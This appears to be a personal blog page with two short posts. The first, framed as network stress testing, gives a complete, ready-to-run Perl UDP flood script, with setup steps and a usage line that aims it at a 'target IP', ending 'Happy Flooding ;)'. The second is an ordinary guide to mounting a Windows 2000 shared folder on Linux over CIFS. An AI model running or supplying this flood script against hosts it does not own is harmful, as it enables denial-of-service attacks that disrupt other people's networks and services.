UDP Flood perl script

Have u ever wonder how your network devices(s) behavior in stress state?
Try follow this simple steps to make UDP Flood :

1. touch /tmp/udpflood.pl
2. chmod +x /tmp/udpflood.pl
3. copy & paste this to ur udpflood.pl script :

#!/usr/bin/perl

##############
# udp flood.
##############

use Socket;
use strict;

if ($#ARGV != 3) {
print "flood.pl \n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

4. exec ur script with /tmp/udpflood.pl 192.168.1.1 0 0 0 --> where 192.168.1.1 is ur target IP

Happy Flooding ;)

mount win2k ntfs

This is my documented on how to mount networked win2k shared folder using linux.
In my case i'm using centos5.



On your linux box, as root :

create a mountpoint for your windows

mkdir /mnt/win2k

change owner/permission to your mountpoint

chmod 777 /mnt/win2k

mount your desired win2k folder to your mountpoint

mount -t cifs -o username=[win2k user], password=[win2k passwd], workgroup=[win2k workgroup] //[win2k ip or hostname] /mnt/win2k --verbose


Just change the [in bracket arg] with your own.

Hepi mounting :)
